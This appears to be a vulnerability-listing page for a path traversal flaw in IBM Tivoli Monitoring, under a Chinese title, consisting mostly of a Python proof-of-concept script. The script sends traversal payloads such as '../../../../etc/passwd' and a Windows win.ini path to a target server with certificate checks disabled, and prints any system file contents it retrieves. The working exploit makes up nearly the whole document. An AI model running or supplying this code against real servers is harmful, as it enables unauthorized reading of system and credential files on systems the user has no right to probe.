CVE-2025-3355 | IBM Tivoli Monitoring目录遍历漏洞

# CVE-2025-3355 Path Traversal PoC # Target: IBM Tivoli Monitoring 6.3.0.7 - 6.3.0.7 SP21 # Type: Directory Traversal import requests import sys TARGET_URL = "https://target-ibm-tivoli.com" def test_path_traversal(): """Test for CVE-2025-3355 Path Traversal vulnerability""" # Common sensitive files to test test_paths = [ "/../../../../etc/passwd", "/..\..\..\..\windows\win.ini", "/file/view?path=../../../../etc/passwd", "/scripts/..\../..\..\etc/passwd" ] headers = { "User-Agent": "Mozilla/5.0 (compatible; CVE-2025-3355-Test)", "Accept": "*/*" } print(f"[*] Testing CVE-2025-3355 on {TARGET_URL}") print(f"[*] Target: IBM Tivoli Monitoring Path Traversal") for path in test_paths: url = f"{TARGET_URL}{path}" print(f"\n[+] Testing: {url}") try: response = requests.get(url, headers=headers, timeout=10, verify=False) if response.status_code == 200: # Check if response contains file content if "root:" in response.text or "[extensions]" in response.text: print(f"[!] VULNERABLE! Retrieved file content:") print(response.text[:500]) return True elif response.status_code == 403: print(f"[-] Access forbidden (may indicate traversal attempt detected)") else: print(f"[-] Status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("\n[*] Testing completed. No obvious vulnerability detected.") return False if __name__ == "__main__": test_path_traversal()